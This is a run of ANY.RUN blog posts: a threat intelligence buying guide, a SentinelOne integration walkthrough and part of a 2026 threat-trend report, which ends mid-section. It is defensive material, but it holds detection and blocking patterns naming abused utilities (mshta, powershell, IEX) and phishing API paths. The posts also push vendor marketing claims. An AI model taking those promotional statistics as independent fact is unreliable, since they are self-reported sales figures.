The post How MSSPs Can Prove Their Value When “Nothing Happened” appeared first on ANY.RUN's Cybersecurity Blog.

While SOCs may prioritize rapid investigation and enrichment at scale, MSSPs may focus more on multi-tenancy and customer separation.

This enterprise threat intelligence buying guide covers the key criteria to consider, including intelligence quality, integrations, data privacy, scalability, and proof-of-concept testing.

Key Takeaways

• Start by defining your threat intelligence requirements and the security workflows you need to support.

• Focus on intelligence quality, freshness, context, and threat intelligence enrichment rather than data volume alone.

• Check integrations, API capacity, and STIX/TAXII support before making a decision.

• Consider privacy, scalability, and IOC management as part of the evaluation.

• Use real alerts and investigations to test shortlisted offerings during a proof of concept.

• Choose a provider based on how effectively its intelligence supports your team’s day-to-day security operations.

Start With Your Security Team’s Requirements

The first step in threat intelligence vendor selection is understanding what your security team needs intelligence to accomplish, rather than comparing feature lists.

Some organizations may prioritize faster alert investigation and enrichment, while others need intelligence for threat hunting, malware analysis, or proactive monitoring. MSSPs may also require strong customer separation and efficient multi-tenant workflows.

Start by identifying the teams, workflows, and data involved, then define your threat intelligence requirements around factors such as intelligence freshness, investigation context, API capacity, integrations, privacy, automation, and access management.

Clear requirements make it easier to focus on capabilities that directly support your security operation.

For teams that need both intelligence and hands-on analysis, it can also be useful to consider how threat intelligence connects with malware and phishing investigation. ANY.RUN’s Interactive Sandbox provides an environment for analyzing threats in real time, with capabilities including interactive analysis, SOC-ready reporting, and integrations through API, SDK, and security standards. Its virtual machines start in under 10 seconds, with reports available in about 40 seconds.

Look at Threat Intelligence Quality and Context

The size of an intelligence database doesn’t necessarily determine its value. During evaluation, consider the quality and sources of the data, how quickly it becomes available, how indicators are validated, and how much context accompanies each result.

This is especially important for threat intelligence aggregation. Combining multiple sources can improve coverage, but may also introduce outdated, duplicate, or conflicting data. Without effective filtering and context, more data can simply create more noise.

Analysts often need more than a malicious or benign verdict. Details such as related domains, URLs, files, malware families, infrastructure, and historical activity can help determine an indicator’s relevance.

Threat intelligence enrichment provides analysts with the context needed to assess threats and determine what to investigate next.

For example, ANY.RUN’s Threat Intelligence Lookup (TI Lookup) lets analysts search indicators and event fields and investigate relationships between domains, IPs, URLs, hashes, files, TTPs, and other data. It delivers each result in about 2 seconds and connects threat intelligence with data from sandbox research sessions, giving analysts additional context for investigations.

TI Lookup draws on threat intelligence contributed through investigations from 16,000 organizations and more than 700,000 analysts, providing additional context for investigations. It delivers fresh, up-to-date intelligence on the latest malware and phishing attacks, helping security teams stay informed about emerging threats and attack trends.

In addition, Threat Intelligence Reports (TI Reports) can provide another layer of context by summarizing emerging threats, attack techniques, malware activity, and relevant indicators. When evaluating a provider, consider whether reports are timely, well-sourced, actionable, and easy for analysts to connect with ongoing investigations.

Prioritize Fresh Intelligence

Threat intelligence can lose relevance over time, especially when used to identify active infrastructure or support automated detection.

When evaluating a provider, consider how quickly new intelligence becomes available and how outdated indicators are identified, updated, or retired. Fresh data helps teams respond to current activity, while historical visibility allows analysts to investigate whether an indicator or related infrastructure has appeared before.

The right balance depends on your use case. Real-time alert enrichment may require frequent updates, while threat hunting may place greater value on extensive historical context.

Look for clear information on how intelligence is timestamped, validated, updated, and maintained, as these factors directly affect its value in investigations and detection workflows.

ANY.RUN’s Threat Intelligence Feeds can support these requirements by providing live malicious IPs, domains, and URLs enriched with sandbox analysis. TI Feeds continuously update their data, with 99% of unique, high-confidence IOCs undergoing validation before being added.

Evaluate Correlation, Not Just Individual Indicators

An indicator is often just the starting point of an investigation. Its real value increases when analysts can connect it to related infrastructure, files, malware, and other activity.

Threat intelligence correlation helps uncover these relationships. For example, a suspicious domain may be linked to an IP address, URL, malicious file, or malware family, giving analysts a broader view of the threat rather than a single isolated data point.

This goes beyond IOC management, which focuses on tracking, validating, and distributing indicators. For more complex investigations, analysts also need to understand how indicators are connected and what those relationships reveal about the activity behind them.

When evaluating a solution, test common investigation scenarios and see how easily analysts can pivot between related intelligence. The goal is to determine whether the available context can reduce investigation time and manual research.

Assess Integration Options

Threat intelligence should fit into the security workflows your organization already uses.

Enterprise teams may need intelligence to move between SIEM, SOAR, EDR/XDR, firewalls, case-management systems, and other security tools. Integration should therefore be part of the procurement process, not an afterthought.

ANY.RUN integrates with existing security environments through APIs, SDKs, and ready-made integrations, helping teams bring threat analysis and shared context into their established workflows.

Beyond API availability, consider request limits, quotas, bulk operations, response times, authentication, SDK support, and automation capabilities, especially when handling thousands of enrichment requests daily.

Explore all ANY.RUN integrations

Consider STIX/TAXII Support

STIX/TAXII support can simplify the exchange of structured threat intelligence between security systems and reduce custom integration work.

TI Feeds support STIX/TAXII alongside API and SDK integrations, making it easier to incorporate intelligence into existing workflows.

During a proof of concept, test whether the data arrives in the expected format, includes the required context, updates at the right frequency, and works reliably with your existing systems.

Plan for Scale From the Beginning

A service that works for a small security team may face different demands as usage expands. More analysts and automated enrichment can increase investigation volume and API requests, while MSSPs may need to support multiple customer environments at once.

Consider user management, permissions, workspace separation, auditability, API capacity, and data volumes when assessing scalability. MSSPs should also look closely at multi-tenancy to ensure customer data remains properly separated.

ANY.RUN’s MSSP offering supports high-volume workflows with automation, standardized reporting, API/SDK access, and capabilities designed for multiple customer environments. Interactive Sandbox, TI Lookup, and TI Feeds deliver 3x better SOC performance.

Scalability also means keeping the service manageable as more teams, analysts, and customers rely on it.

Test the Analyst Experience

Threat intelligence should help analysts investigate threats efficiently. Even extensive intelligence can be difficult to use if analysts have to navigate multiple disconnected workflows.

During evaluation, pay attention to search, filtering, historical visibility, pivoting, and how easily analysts can move between related indicators.

A practical test is to give analysts a familiar investigation scenario involving a suspicious domain, IP, URL, or file hash. See how quickly they can determine its relevance, identify related activity, and gather enough context to decide what to investigate next.

Interactive Sandbox can also support hands-on malware and phishing analysis, allowing analysts to interact with threats in live virtual environments and access findings such as IOCs and TTPs. For enterprise SOCs, 95% of SOC teams speed up threat investigations, while 94% of users achieve faster triage.

Determine the Need for Dark Web Monitoring

Dark web monitoring can help organizations identify leaked credentials, exposed corporate information, or brand-related threats.

Rather than treating it as a must-have feature, assess whether it addresses a specific security requirement. Consider source coverage, validation, detection speed, and how easily analysts can act on the findings.

Use Real Data in the Proof of Concept

A proof of concept should reflect real security workflows, not just provider demonstrations.

Use representative historical alerts, including malicious, benign, and ambiguous cases. Measure outcomes such as investigation time, enrichment quality, false-positive reduction, manual effort, search performance, and API reliability.

If automated enrichment is planned, test realistic request volumes to identify potential limitations before deployment.

Review the Total Cost of Ownership

The cost of a threat intelligence service extends beyond the subscription. Integration, maintenance, training, analyst time, infrastructure, and API usage can all add to the total.

Review API limits and additional usage costs, and consider whether the service adds meaningful coverage or context to your existing intelligence sources.

For example, TI Feeds help identify up to 58% more threats overall and offer a 21-minute reduction in MTTR per case. When assessing ROI, teams can compare metrics such as these with their own baseline investigation time, detection coverage, and analyst workload.

Turn Requirements Into a Practical Decision

Once requirements and testing are complete, assess how well each offering fits your security workflows.

Consider intelligence quality, freshness, enrichment, correlation, integration, automation, privacy, scalability, usability, and cost. The priorities will vary by organization and use case.

An MSSP may focus more on multi-tenancy and API capacity, while an enterprise SOC may prioritize investigation speed and contextual enrichment.

A threat intelligence procurement guide should help teams base their decision on requirements, testing, and measurable operational outcomes.

Conclusion

Choosing an enterprise threat intelligence offering starts with understanding your security requirements and use cases.

Assess intelligence quality, freshness, context, enrichment, integrations, privacy, scalability, and automation, then validate those criteria with real-world testing.

The goal is to turn threat intelligence into useful context that helps security teams investigate threats faster and reduce unnecessary work.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence to more than 16,000 organizations and 700,000 security professionals worldwide.

Using Interactive Sandbox, it’s possible for SOC teams and MSSPs to analyze files, URLs, phishing, and malware in real time while monitoring processes, network activity, and other threat behavior.

ANY.RUN’s Threat Intelligence helps teams investigate indicators, uncover related infrastructure, enrich alerts, and bring fresh threat data into existing workflows.

Dedicated Enterprise and MSSP offerings provide capabilities for privacy, access control, collaboration, automation, and high-volume investigations. ANY.RUN is also SOC 2 Type II attested.

FAQ

The post Enterprise Threat Intelligence Buying Guide: How to Choose the Right Solution appeared first on ANY.RUN's Cybersecurity Blog.

Let’s look at how this unified workflow eliminates context switching, accelerates incident response, and drives higher ROI by transforming alerts into actionable insights without leaving the platform.

About the ANY.RUN & SentinelOne Integration

The integration between ANY.RUN and SentinelOne brings advanced malware analysis and global threat intelligence into the platform as native, actionable data.

Instead of manually exporting files or switching between multiple consoles, security teams can operationalize ANY.RUN’s capabilities within the SentinelOne ecosystem.

New Connectors for Interactive Sandbox and Threat Intelligence Lookup (via Singularity Hyperautomation):

• Accelerate File/URL Triage with Automated Behavioral Analysis: Automatically submit suspicious files and URLs from alerts to the ANY.RUN sandbox. Behavioral verdicts and risk scores are delivered directly into SentinelOne, enabling evidence-based decisions.

• Enrich Alert Investigations with Instant Context: Perform on-demand lookups for IOCs like hashes, IPs, and domains. This provides analysts with immediate data on industry targeting, malware families, and related infrastructure without leaving the alert interface.

Existing Integration for Threat Intelligence Feeds (via the native TAXII Connect IOC Ingestion app on the SentinelOne Marketplace)

• Strengthen Proactive Defense with High-Fidelity Indicators: Stream verified malicious indicators (IPs, domains, URLs) directly into the platform via STIX/TAXII. This allows for automated correlation against endpoint logs and the generation of native alerts for matching threats.

By turning malware analysis and threat enrichment into a native part of the investigation pipeline, ANY.RUN and SentinelOne empower SOC teams to stay ahead of evasive attacks while maximizing the value of their existing security stack.

1. ANY.RUN Interactive Sandbox: Improve Triage Speed and Detect Evasive Attacks

This integration component can be used via Singularity Hyperautomation, allowing for deep behavioral analysis of suspicious artifacts.

When SentinelOne triggers an alert, it automatically sends the file or URL to the ANY.RUN Sandbox based on your pre-set preferences (like OS or analysis duration). Once the analysis is complete, behavioral verdicts (malicious, suspicious, or benign) are delivered directly into the Notes section of the specific SentinelOne alert.

Benefits:

• Faster Time-to-Verdict: By automating the submission process, analysts receive a definitive verdict in minutes, significantly reducing MTTR (Mean Time to Resolution).

• Reduced Manual Routine: Eliminates the need for analysts to manually export files or copy-paste URLs into external tools, preventing “console fatigue”.

• Standardized Triage: Templates ensure that every suspicious artifact is analyzed using the same rigorous methodology, regardless of the analyst’s experience level.

• Higher Detection of Evasive Threats: Behavioral analysis catches advanced threats that often bypass the static detection layers of an EDR.

Practical Use Case: Automated Malware Triage

When an alert triggers due to a suspicious file execution, the Hyperautomation workflow automatically or manually sends the file itself to the ANY.RUN Sandbox. The analyst immediately sees a “Malicious” verdict in the alert Notes, allowing them to initiate containment actions without ever leaving the SentinelOne console.

2. ANY.RUN Threat Intelligence Lookup: Identify and Prioritize Risks Faster

This Threat Intelligence Lookup component, available via Singularity Hyperautomation, provides on-demand enrichment of indicators using ANY.RUN’s vast database of millions of previous sandbox investigations across 16,000 organizations and 700,000 analysts.

The moment a suspicious file hash, IP, or domain appears, the system scans ANY.RUN’s threat intelligence history. Analysts can also force a manual check at any point during active hunting. The resulting intelligence, including threat tags, industry targeting info, and “last seen” data, is seamlessly added directly into the SentinelOne alert’s Notes.

Benefits:

• Smarter Prioritization: Immediate access to industry targeting data helps SOC managers quickly identify if they are facing a serious incident.

• Fewer Tier 2 Escalations: Tier 1 analysts gain enough context to confidently close false positives or resolve actual threats on their own, reducing bottlenecks.

• Enhanced Decision Accuracy: Access to historical behavioral data from over 700,000 analysts worldwide reduces the risk of incorrect alert closures.

• Improved Quality of Evidence: Escalated cases include a full TI context, allowing senior investigators to start their work with a complete picture of the threat.

Practical Use Case: IOC Enrichment during Investigation

When a Singularity alert flags a suspicious file execution, the system can instantly run a TI Lookup enrichment for the specific file hash.

Within seconds, a note pops up in the console revealing that the hash matches a known ransomware strain previously analyzed in ANY.RUN’s Sandbox. Instead of wasting time on manual research, the analyst immediately gets the full threat profile, allowing them to quarantine the host right away without ever leaving the console.

3. ANY.RUN Threat Intelligence Feeds: Upgrade Defense Against Emerging Threats

The Threat Intelligence Feeds integration utilizes the native TAXII Connect IOC Ingestion app found in the SentinelOne Marketplace to systematically fortify your environment.

This component establishes a continuous, live stream of verified malicious IPs, domains, and URLs from ANY.RUN directly into your perimeter. The indicators are extracted and delivered in real time from the newest sandbox investigations of emerging malware & phishing threats across 16,000 organizations and 700,000 analysts around the world.

Utilizing the standardized built-in STIX/TAXII mechanism, it completely eliminates the need for custom scripts or maintenance overhead. The system silently cross-references endpoint traffic against these fresh indicators, automatically triggering native high-priority matches the second an internal asset interacts with a blacklisted entity.

Benefits:

• Proactive Threat Detection: Fresh indicators are added to the system as soon as they appear in live sandbox investigations, improving MTTD (Mean Time to Detection).

• Elimination of Blind Spots: Provides access to 99% unique malicious infrastructure that traditional, slower-moving feeds often miss.

• Reduced Tier 1 Workload: Because indicators are pre-verified as malicious, the resulting alerts are high-fidelity, leading to fewer false positives to investigate.

• Scalable Operational TI: The integration scales across multiple sites and configurations, making it ideal for large Enterprises and MSSPs.

Practical Use Case: Detecting Emerging Campaigns

When a fresh phishing campaign targeting your sector is active globally, its malicious infrastructure is streamed to SentinelOne in real-time. If an employee clicks an obfuscated link from that specific campaign minutes later, SentinelOne’s native detection engine identifies the match against the ingested indicators, instantly blocking the connection and flagging a critical alert. This protection happens automatically at the platform level, stopping advanced attacks based on fresh global telemetry.

How to Integrate ANY.RUN with SentinelOne Singularity

The integration is designed for rapid deployment, utilizing native SentinelOne modules to ensure that setup does not require custom scripts or complex development. Depending on the product you are connecting, there are two primary paths for integration.

1. Integrating Sandbox & TI Lookup (via Singularity Hyperautomation)

The Sandbox and TI Lookup components are implemented through Singularity Hyperautomation.

• Step 1: Connect the ANY.RUN Integration

Navigate to the Hyperautomation section in your SentinelOne console. Open the Integrations tab, locate ANY.RUN, and click “Connect.” You will need to provide your ANY.RUN API key to establish the link.

• Step 2: Install Workflow Templates

Go to the Templates section within Hyperautomation and search for ANY.RUN. Select and install the templates that fit your SOC needs, such as:

• TI Lookup workflow for indicator enrichment.

• Sandbox URL workflow for automated URL analysis.

• Sandbox file workflow for automated file analysis.

• Step 3: Configure Automation Criteria

Set the specific rules for when these workflows should trigger (e.g., based on alert severity, name, or type).

• Step 4: Define Analysis Parameters

For Sandbox templates, specify the OS and environment version for the analysis. For TI Lookup, define which alert indicators (hash, IP, or URL) should be checked. Note that you will also need to create a password for the workflow as a technical requirement of the platform.

Note: Singularity Hyperautomation is an independently licensed module within the SentinelOne platform.

2. Integrating TI Feeds (via SentinelOne Marketplace)

The TI Feeds connector uses the native TAXII Connect IOC Ingestion app to stream verified indicators directly into your detection logic.

• Step 1: Install the Connector

Open the SentinelOne Singularity Marketplace, find the TAXII Connect IOC Ingestion integration, and install it.

• Step 2: Create the Configuration

Within the app, create a new configuration and provide the following details:

• Name and Scope: Define the configuration’s identity within your environment.

• Endpoint URL: Enter the TAXII URL for your desired ANY.RUN TI Feeds collection (e.g., “All Indicators,” “IPs,” “Domains,” or “URLs”).

• Credentials: Provide the username and password associated with your ANY.RUN TI Feeds subscription.

• Step 3: Operationalization

Once connected, indicators will automatically stream into the system. If an ingested indicator matches an event on an endpoint, SentinelOne will generate a native “Threat Intelligence Indicator Match” alert in the console.

About ANY.RUN

Trusted by 700,000+ cybersecurity professionals and 16,000+ organizations across critical industries, including 64% of Fortune 500 companies, ANY.RUN helps security teams detect and investigate threats faster.

Our Interactive Sandbox provides real-time behavioral analysis of suspicious files and URLs, enabling confident triage and response.

Threat Intelligence Lookup and Threat Intelligence Feeds deliver live, verified threat data that strengthens detection and improves prioritization.

By embedding analysis and intelligence into daily SOC workflows, ANY.RUN helps organizations reduce response time, lower operational costs, and minimize security risk.

The post ANY.RUN & SentinelOne: One Workspace, Instant Context for Rapid Response appeared first on ANY.RUN's Cybersecurity Blog.

The report highlights 15 key trends and explains what these changes mean for analysts, SOC teams, MSSPs, and business decision-makers. With supporting data and examples, ANY.RUN discuses prevalent attack paths, their practical impact on threat detection, alert triage, investigation, and incident response, as well as proposes mitigation guidance.

H1 2026 Cyber Risk Report

Discover top trends shaping the modern threat landscape:

• OAuth device-code phishing surged by 483.7%.
• Cloud infrastructure abuse is up by 90.7%.
• RMM attacks jumped by 26.5%.

Get FREE report

Built on Real-World Threat Investigations

Like all ANY.RUN solutions, the H1 2026 Cyber Risk Report is based on threat activity observed across ANY.RUN’s global user base, including SOC teams, MSSPs, enterprise security teams, researchers, and analysts investigating real malware and phishing cases.

ANY.RUN is used by 16K+ organizations and 700K+ security professionals worldwide, including 74% of Fortune 100 companies. Such coverage gives the report visibility into threats submitted across industries, from finance, healthcare, government, IT, and manufacturing to energy and transportation.

H1 2026 CYBER RISK REPORT BY ANY.RUN

Executive Summary

1. Attackers are abusing trusted infrastructure – Threat actors increasingly hide inside legitimate tools, websites, authentication flows, cloud services, and public platforms.
2. Phishing is becoming harder to validate – Custom fake CAPTCHAs, browser fingerprinting, calendar invites, and device-code flows make phishing attacks harder to detect.
3. Identity compromise is moving beyond password theft – Infostealers and device-code phishing allow attackers to abuse tokens, sessions, cookies, recovery paths, and OAuth flows to maintain access.
4. Business processes are becoming attack paths – Tax notifications, payment portals, government services, fines, refunds, and administrative requests are being used to target companies.
5. Cross-platform and cloud-first environments increase exposure – Attacks now span Windows, Linux, macOS, developer workstations, cloud workloads, containers, and CI/CD environments.
6. Static IOC-based detection is losing effectiveness – Many threats avoid static indicators by using runtime infrastructure, legitimate services, dead-drop resolvers, and dynamic delivery chains.
7. Decision-makers should invest in earlier detection and broader visibility – Security teams need to close visibility gaps earlier by exposing phishing flows, malware behavior, browser activity, and threat context.

Trend 1: Custom fake CAPTCHAs are making phishing more evasive

In phishing attacks, threat actors are increasingly using custom fake CAPTCHA pages instead of common providers.

These pages act as an anti-bot and anti-sandbox gateway before the phishing site. Attackers also often add fingerprinting to track specific victims.

SOC & Business Impact

Evasion Breaks Standard Heuristics

Custom fake CAPTCHAs change the expected phishing flow, weakening simple detection logic and making attacks less likely to detonate in analysis.

One-Shot Pages Reduce Investigation Visibility

Phishing pages may work for the original victim but fail later during SOC investigation, making it harder to reproduce the attack.

Kill Chain Reconstruction Becomes Harder

When the page cannot be analyzed fully, teams lose visibility into the attack path, related threat activity, and indicators for detection and response.

Risk Mitigation Playbook

Strategic Focus

Apply a shift-left approach to phishing detection by identifying incidents as early as the fake CAPTCHA is observed, rather than only after credential entry or full phishing-page loading.

Operational Steps

• Use DPI inspection of web content in detection technologies, such as YARA rules or similar methods.

• To bypass attacker evasion, utilize interactive sandboxing combined with residential proxies to mask the analysis environment’s nature.

• For any confirmed gateway interaction, the response protocol must include immediate session revocation and credential resets.

Read more: ClickFix Explosion: Cross-Platform Social Engineering Turns Users Into Malware Installers

Trend 2: Browser fingerprinting helps attackers avoid detection

Nearly all major PhaaS frameworks now use browser fingerprinting to check the client environment (e.g., device type, OS, and region).

The goal is to control who reaches the phishing page and redirect bots or sandboxes to legitimate websites to reduce suspicion.

SOC & Business Impact

Dynamic Analysis Becomes Less Reliable

Browser fingerprinting increases the risk that samples will not detonate, especially when teams rely on scratch-built analysis environments such as headless browsers with specific configurations.

Detection and Response Take Longer

When attacks are harder to identify and reproduce, detection rates can decrease, triage and forensics become more difficult, and MTTD/MTTR may increase.

Investigation Efforts Face Bottlenecks

Security teams struggle with triage when malicious content is geofenced or filtered by OS, making it nearly impossible to map the full kill chain without specialized tools that can mimic real-user conditions.

Risk Mitigation Playbook

Strategic Focus

Use analysis environments that can better reproduce real-user browser conditions and expose browser-first phishing behavior.

For phishing attacks that rely on fingerprinting, standard file-based sandboxing is often not enough. Teams need strong URL analysis capabilities that support full dynamic investigation.

Operational Steps

• Use residential proxies and register non-standard Browser API calls, adding Canvas objects to the DOM, and collection of browser properties.
• Analyze suspicious pages using a browser that bucketizes API property values that mask the system-specific details.
• Integrate ANY.RUN’s Interactive Sandbox for interactive analysis of browser-based phishing, including visibility into DOM changes.

Read more: Closing Phishing Blind Spots with In-Browser Data Inspection

Trend 3: Infostealers become an identity theft system

Infostealers are shifting from being a credential stealing malware to a more structured, affiliate-driven system for identify abuse.

Instead of collecting passwords, attackers increasingly target session tokens, cookies, recovery paths, crypto-wallet data, and other artifacts that can help them take over accounts or resell access.

SOC & Business Impact

Password Reset No Longer Closes the Incident

If attackers retain valid sessions, cookies, or recovery paths, access can continue even after credentials are reset.

Identity Compromise Outlives Endpoint Cleanup

The endpoint may appear clean while the user identity remains compromised through an active session.

Account Takeover Risk Increases

Delayed detection can enable fast account takeover, continued unauthorized access, and resale of compromised accounts or sessions.

Risk Mitigation Playbook

Strategic Focus

Treat infostealer incidents as large-scale identity compromise rather than merely a credential theft. The response procedures should involve monitoring and correlation of different artifacts.

Operational Steps

• Implement alerting for anomalous session creation, session token replays, and unusual account recovery flows.
• Monitor for specific execution markers characteristic of modern MaaS operations like the use of PowerShell scripting, DLL injections etc.
• Analysts must validate the full redirect chain and investigate the origin of any suspicious files, marking “trust abuse” as an incident category.

Stay updated on the latest stealer attacks

Use queries like:

threatName:”stealer” AND submissionCountry:”US”

in Threat Intelligence Lookup to uncover threats in your industry and region.

Trend 4: Malicious LNK files remain a common phishing entry point

Attackers increasingly disguise malicious LNK files as legitimate documents. This include contracts, financial reports, and instructions, typically inside archives. When opened, the file launches destructive commands, which were embedded into its metadata.

This allows threat actors to execute malicious code in memory in a concealed way, using a decoy.

SOC & Business Impact

Trusted Execution Bypasses Standard Controls

Malicious LNK files can bypass standard SEG and EPP controls because execution starts through trusted utilities and is hidden behind what looks like a legitimate document.

Investigation and Retrospective Analysis Become Harder

Because the activity is concealed inside a document-like workflow, it becomes harder to detect, investigate, and analyze retrospectively.

Risk Mitigation Playbook

Strategic Focus

Treat LNK files in emails and archives as high-risk objects, never relying on their seemingly legitimate nature.

Operational Steps

• Prohibit the launch of system utilities such as mshta.exe, powershell.exe, and wscript.exe from untrusted directories using AppLocker or WDAC.
• Configure detection rules inside EDR/SIEM to monitor anomalous execution chains, especially with explorer.exe as a parent process.
• Check email attachments and downloads using LNK parsers, for example, using YARA rules to check for anomalous long arguments, keywords like bypass, hidden, Invoke-Expression/IEX, and URLs.

Read more: Client-Side Exploitation: Abusing WebDAV+URL+LNK to Deliver Malicious Payloads

Trend 5: Trusted, legitimate platforms as the entryway

ANY.RUN’s data shows a growth in the popularity of hiding malware delivery infrastructures inside trusted channels.

This includes SEO poisoning, malvertising, codesigning, and npm package compromise across common services like Visual Studio Code extensions, WhatsApp, and PDFtools.

SOC & Business Impact

Trusted Chains Reduce Suspicion

These attack chains appear normal before execution, making them easy to trust and harder to stop with simple mitigation methods.

Investigation Starts Too Late

In many cases, analysis begins only after the payload has been delivered and credential theft has already occurred.

Risk Mitigation Playbook

Strategic Focus

Expand detection beyond file reputation and malware hashes. Treat trust abuse as a separate risk category during detection and triage.

Operational Steps

• Configure alerts for newly registered domains that utilize legitimate software keywords (e.g., VPN, PDF-tools, or specific corporate utility names) to identify potential SEO poisoning or malvertising sites.
• Monitor for unexpected code-signing chains and the installation of IDE or browser extensions from non-standard or newly appeared sources.
• In developer and CI/CD environments, implement telemetry to detect drastic changes in package maintainer ownership.

Read more: Enterprise Phishing via Microsoft & Google Cloud Platforms

Trend 6: Cross-platform attacks target Windows, Linux, and macOS

Malicious activity is becoming less tied to a single operating system. Threat actors increasingly use portable payloads and adaptable languages such as Python to target different environments faster, while some malware families are built to support multiple platforms from the start.

SOC & Business Impact

Platform-Specific Rules Create False Coverage

Detection rules built for only one platform can make teams overestimate their visibility across the environment.

Sandbox Assumptions Break Down

Cross-platform payloads challenge analysis setups that are designed around one operating system or execution path.

The Same Campaign Spreads Across Environments

Attackers can move across developer workstations, Linux servers, and other environments without being detected as part of one campaign.

Risk Mitigation Playbook

Strategic Focus

Build a unified correlation model across macOS, Windows, and Linux to ensure cross-platform visibility.

Operational Steps

• Establish monitoring for shared domains and similar lures (e.g., the same phishing themes or ClickFix prompts) across the entire fleet. Detection logic should hunt for repetitive RMM and remote access tools, archive or installer abuse, and cross-OS exfiltration patterns.
• Strengthen control over developer endpoints, Linux servers, and mixed-fleet environments, where the same campaign may leave various artifacts depending on the OS.
• If a suspicious DMG is found on macOS, the investigation must immediately check Windows and Linux endpoints for related infrastructure connections or similar file names.

Read more: Expanding Your SOC’s Cross-Platform Analysis with ANY.RUN’s Interactive Sandbox

Trend 7: Calendar event files are becoming more common in phishing

According to ANY.RUN’s H1 2026 statistics, .ics and calendar invite attachments are on the rise. Phishing lures, malicious URLs, or QR codes can appear not only in emails, but also inside calendar event files.

Although this method is not new, it is becoming more popular as an additional way to interact with the victim.

SOC & Business Impact

Calendar Events Add Another Attack Surface

Event files create an additional contact point with the victim and blur the line between email security and calendar-related infrastructure.

Related Artifacts May Be Investigated Separately

The email, attachment, and calendar event may be handled as separate objects, even when they belong to the same attack.

Visibility Breaks Across the Investigation

When these artifacts are not connected, SOC teams lose continuity during analysis, which can slow down investigation and response.

Risk Mitigation Playbook

Strategic Focus

Treat calendar invites as part of the phishing attack surface, especially when they come from external senders or contain links, QR codes, or unexpected attachments.

Operational Steps

• Establish detection rules to track .ics files and text/calendar MIME types across all incoming emails, file archives, and web downloads.
• Proactively correlate calendar-event artifacts with other common phishing components. This includes identifying links to QR codes, HTML/PDF attachments, and impersonation lures targeting Microsoft, DocuSign, or SharePoin.
• Within Microsoft 365 and Google Workspace environments, implement strict governance over external invitations and auto-add functionalities.

Stay updated on the latest attacks using .ics files

Use the query commandLine:”.ics” AND threatLevel:”malicious” in Threat Intelligence Lookup to uncover similar threats and related indicators for threat hunting and detection rules.

Trend 8: Supply chain attacks via open-source software are rising

Instead of directly hitting the final victim, threat actors increasingly target software delivery channels like npm packages, PyPI, Crates.io, and CI/CD publications.

The methods include malicious package publishing, self-propagating worms, and the compromise of official distributors.

SOC & Business Impact

Trust in Official Packages Breaks Down

Compromise at upstream layers undermines trust in official packages and updates, making malicious activity harder for SOC teams to investigate.

One Attack Can Reach Many Organizations

This method can affect multiple downstream organizations at the same time, expanding the impact beyond a single compromised environment.

Some Campaigns Self-Propagate

Campaigns such as Mini Shai-Hulud do not only infect packages, but can also spread further by abusing victim tokens and pipelines.

Risk Mitigation Playbook

Strategic Focus

Regular download alerts are delivered too late and don’t represent the real impact scope. This is why there’s a need to track more specific incident categories and suspicious indicators.

Operational Steps

• Actively monitor the publication of new package versions and alert on drastic or rapid changes in maintainer ownership.
• Implement automated checks for suspicious preinstall and postinstall hooks within package manifests.
• Track anomalies in GitHub Actions and OIDC (OpenID Connect) authentication flows to detect pipeline hijackings. Monitoring should identify mass changes across namespaces.

Expert-curated reports on emerging attacks for your SOC/MSSP team

View ANY.RUN’s TI Reports that deliver insights into active malware & phishing campaigns, providing actionable indicators, TTPs, and other detection artifacts for your proactive defense.

Trend 9: Linux privilege escalation is becoming more reliable after compromise

A growing number of reliable Linux local privilege escalation (LPE) exploits are appearing in the wild.

They point to a broader shift toward more stable post-compromise root escalation across Linux environments, including major distributions and cloud Linux workloads.

SOC & Business Impact

One Exploit Can Expand Cloud Impact

In cloud- and container-first environments, a successful Linux LPE can give attackers root access on the host, enable container escape, expose secrets, and support lateral movement across clusters or CI/CD environments.

Detection Leaves Fewer Artifacts

Linux LPE is harder to fight than regular malware detection because exploitation is local and may leave only minimal artifacts.

Public PoCs Accelerate Risk

Public PoCs and writeups can quickly make new kernel flaws widespread, especially when they apply to many modern enterprise distributions.

Risk Mitigation Playbook

Strategic Focus

Expand Linux security coverage beyond CVE tracking and patch status. Focus on how privilege escalation can increase the impact of an initial compromise across cloud, container, and CI/CD environments.

Operational Steps

• Pay attention to not only CVEs but also post-exploitation escalation, e.g., the launch of su/sudo right after a suspicious activity, unusual calls to kernel networking/page-cache paths, and drastic changed in privilege boundary at Linux hosts.
• During triage, mark kernel LPE, container escape, public PoC, active exploitation, and so on as separate incident categories.
• For hardening, defender new quick kernel updates, live patching, minimal local attack surface, and separate rights in container and CI/CD environments.

Read more: How to Hunt and Investigate Linux Malware

Trend 10: OAuth device code compromise is growing in phishing attacks

Threat actors are increasingly abusing the legitimate Microsoft OAuth Device Code flow to compromise Microsoft 365 accounts.

Instead of regular credential harvesting, they redirect the user from the phishing page to the legitimate Microsoft page, and once their credentials are confirmed, the OAuth tokens are delivered to the attacker.

SOC & Business Impact

Legitimate Login Pages Hide the Attack

Users enter credentials on a real Microsoft page, so the usual visual indicators of phishing may be missing or less obvious.

Risk Shifts from Password Theft to Token Abuse

Even if the password is not exposed, attackers can still gain access to Microsoft 365 through OAuth tokens.

Standard Web Monitoring Sees Less

The activity runs through legitimate authentication flows and HTTPS, making triage harder and requiring more precise signal correlation.

Risk Mitigation Playbook

Strategic Focus

Treat suspicious authentication flows as a compromise signal pay attention to abnormal device-code authentication patterns, even when the user entered credentials on a legitimate Microsoft page.

Operational Steps

• Monitor anomalous OAuth and device-code authentication events in Microsoft Entra ID and Microsoft 365, including successful device-code authentications for users who do not normally need this flow.
• Track follow-up calls to M365 resources after device login, suspicious phishing pages that display verification codes, and HTTP requests to suspicious hosts with paths such as /api/device/start, /api/device/status/, and /api/status/init.
• In ANY.RUN’s Interactive Sandbox, check suspicious URLs and monitor activity tagged as oauth-ms-phish, eviltokens, or kali365.

Read more: EvilTokens Phishing as a Service: Attackers Breach M365 Accounts with OAuth Device Codes

Trend 11: Attackers are using legitimate RMM tools to breach companies

Attackers increasingly use phishing pages not to deliver an obviously malicious payload, but to push the installation of legitimate RMM or remote access tools.

The initial access model shifts from malware-first to phishing-first, where the final tool may look trusted in an enterprise environment.

SOC & Business Impact

Legitimate Tools Reduce Detection Confidence

RMM phishing is high-risk because attackers abuse tools that may already be allowed or trusted inside the organization.

Triage Must Separate Admin Activity from Intrusion

SOC teams need to distinguish legitimate remote administration from unauthorized remote access, which complicates detection, triage, and response.

Trusted Context Extends Dwell Time

